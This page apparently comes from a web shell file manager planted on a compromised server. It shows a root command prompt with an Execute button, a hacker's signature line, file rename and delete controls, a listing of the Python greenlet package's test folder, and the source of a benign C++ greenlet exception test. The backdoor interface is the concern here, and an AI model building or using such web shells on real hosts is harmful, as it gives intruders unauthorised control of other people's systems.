opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
greenlet
/
tests
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] __pycache__
N/A
__init__.py
9.03 KB
Rename
Delete
_test_extension.c
5.64 KB
Rename
Delete
_test_extension.cpython-312-x86_64-linux-gnu.so
36.30 KB
Rename
Delete
_test_extension_cpp.cpp
6.41 KB
Rename
Delete
_test_extension_cpp.cpython-312-x86_64-linux-gnu.so
56.45 KB
Rename
Delete
fail_clearing_run_switches.py
1.23 KB
Rename
Delete
fail_cpp_exception.py
985 bytes
Rename
Delete
fail_initialstub_already_started.py
1.92 KB
Rename
Delete
fail_slp_switch.py
524 bytes
Rename
Delete
fail_switch_three_greenlets.py
956 bytes
Rename
Delete
fail_switch_three_greenlets2.py
1.25 KB
Rename
Delete
fail_switch_two_greenlets.py
817 bytes
Rename
Delete
leakcheck.py
11.68 KB
Rename
Delete
test_contextvars.py
10.11 KB
Rename
Delete
test_cpp.py
2.67 KB
Rename
Delete
test_extension_interface.py
3.74 KB
Rename
Delete
test_gc.py
2.85 KB
Rename
Delete
test_generator.py
1.21 KB
Rename
Delete
test_generator_nested.py
3.63 KB
Rename
Delete
test_greenlet.py
44.91 KB
Rename
Delete
test_greenlet_trash.py
7.76 KB
Rename
Delete
test_leaks.py
17.06 KB
Rename
Delete
test_stack_saved.py
446 bytes
Rename
Delete
test_throw.py
3.63 KB
Rename
Delete
test_tracing.py
8.06 KB
Rename
Delete
test_version.py
1.31 KB
Rename
Delete
test_weakref.py
883 bytes
Rename
Delete
/* This is a set of functions used to test C++ exceptions are not * broken during greenlet switches */ #include "../greenlet.h" #include "../greenlet_compiler_compat.hpp" #include <exception> #include <stdexcept> struct exception_t { int depth; exception_t(int depth) : depth(depth) {} }; /* Functions are called via pointers to prevent inlining */ static void (*p_test_exception_throw_nonstd)(int depth); static void (*p_test_exception_throw_std)(); static PyObject* (*p_test_exception_switch_recurse)(int depth, int left); static void test_exception_throw_nonstd(int depth) { throw exception_t(depth); } static void test_exception_throw_std() { throw std::runtime_error("Thrown from an extension."); } static PyObject* test_exception_switch_recurse(int depth, int left) { if (left > 0) { return p_test_exception_switch_recurse(depth, left - 1); } PyObject* result = NULL; PyGreenlet* self = PyGreenlet_GetCurrent(); if (self == NULL) return NULL; try { if (PyGreenlet_Switch(PyGreenlet_GET_PARENT(self), NULL, NULL) == NULL) { Py_DECREF(self); return NULL; } p_test_exception_throw_nonstd(depth); PyErr_SetString(PyExc_RuntimeError, "throwing C++ exception didn't work"); } catch (const exception_t& e) { if (e.depth != depth) PyErr_SetString(PyExc_AssertionError, "depth mismatch"); else result = PyLong_FromLong(depth); } catch (...) { PyErr_SetString(PyExc_RuntimeError, "unexpected C++ exception"); } Py_DECREF(self); return result; } /* test_exception_switch(int depth) * - recurses depth times * - switches to parent inside try/catch block * - throws an exception that (expected to be caught in the same function) * - verifies depth matches (exceptions shouldn't be caught in other greenlets) */ static PyObject* test_exception_switch(PyObject* UNUSED(self), PyObject* args) { int depth; if (!PyArg_ParseTuple(args, "i", &depth)) return NULL; return p_test_exception_switch_recurse(depth, depth); } static PyObject* py_test_exception_throw_nonstd(PyObject* self, PyObject* args) { if (!PyArg_ParseTuple(args, "")) return NULL; p_test_exception_throw_nonstd(0); PyErr_SetString(PyExc_AssertionError, "unreachable code running after throw"); return NULL; } static PyObject* py_test_exception_throw_std(PyObject* self, PyObject* args) { if (!PyArg_ParseTuple(args, "")) return NULL; p_test_exception_throw_std(); PyErr_SetString(PyExc_AssertionError, "unreachable code running after throw"); return NULL; } static PyObject* py_test_call(PyObject* self, PyObject* arg) { PyObject* noargs = PyTuple_New(0); PyObject* ret = PyObject_Call(arg, noargs, nullptr); Py_DECREF(noargs); return ret; } /* test_exception_switch_and_do_in_g2(g2func) * - creates new greenlet g2 to run g2func * - switches to g2 inside try/catch block * - verifies that no exception has been caught * * it is used together with test_exception_throw to verify that unhandled * exceptions thrown in one greenlet do not propagate to other greenlet nor * segfault the process. */ static PyObject* test_exception_switch_and_do_in_g2(PyObject* self, PyObject* args) { PyObject* g2func = NULL; PyObject* result = NULL; if (!PyArg_ParseTuple(args, "O", &g2func)) return NULL; PyGreenlet* g2 = PyGreenlet_New(g2func, NULL); if (!g2) { return NULL; } try { result = PyGreenlet_Switch(g2, NULL, NULL); if (!result) { return NULL; } } catch (const exception_t& e) { /* if we are here the memory can be already corrupted and the program * might crash before below py-level exception might become printed. * -> print something to stderr to make it clear that we had entered * this catch block. * See comments in inner_bootstrap() */ #if defined(WIN32) || defined(_WIN32) fprintf(stderr, "C++ exception unexpectedly caught in g1\n"); PyErr_SetString(PyExc_AssertionError, "C++ exception unexpectedly caught in g1"); Py_XDECREF(result); return NULL; #else throw; #endif } Py_XDECREF(result); Py_RETURN_NONE; } static PyMethodDef test_methods[] = { {"test_exception_switch", (PyCFunction)&test_exception_switch, METH_VARARGS, "Switches to parent twice, to test exception handling and greenlet " "switching."}, {"test_exception_switch_and_do_in_g2", (PyCFunction)&test_exception_switch_and_do_in_g2, METH_VARARGS, "Creates new greenlet g2 to run g2func and switches to it inside try/catch " "block. Used together with test_exception_throw to verify that unhandled " "C++ exceptions thrown in a greenlet doe not corrupt memory."}, {"test_exception_throw_nonstd", (PyCFunction)&py_test_exception_throw_nonstd, METH_VARARGS, "Throws non-standard C++ exception. Calling this function directly should abort the process." }, {"test_exception_throw_std", (PyCFunction)&py_test_exception_throw_std, METH_VARARGS, "Throws standard C++ exception. Calling this function directly should abort the process." }, {"test_call", (PyCFunction)&py_test_call, METH_O, "Call the given callable. Unlike calling it directly, this creates a " "new C-level stack frame, which may be helpful in testing." }, {NULL, NULL, 0, NULL} }; static struct PyModuleDef moduledef = {PyModuleDef_HEAD_INIT, "greenlet.tests._test_extension_cpp", NULL, 0, test_methods, NULL, NULL, NULL, NULL}; PyMODINIT_FUNC PyInit__test_extension_cpp(void) { PyObject* module = NULL; module = PyModule_Create(&moduledef); if (module == NULL) { return NULL; } PyGreenlet_Import(); if (_PyGreenlet_API == NULL) { return NULL; } p_test_exception_throw_nonstd = test_exception_throw_nonstd; p_test_exception_throw_std = test_exception_throw_std; p_test_exception_switch_recurse = test_exception_switch_recurse; return module; }
Save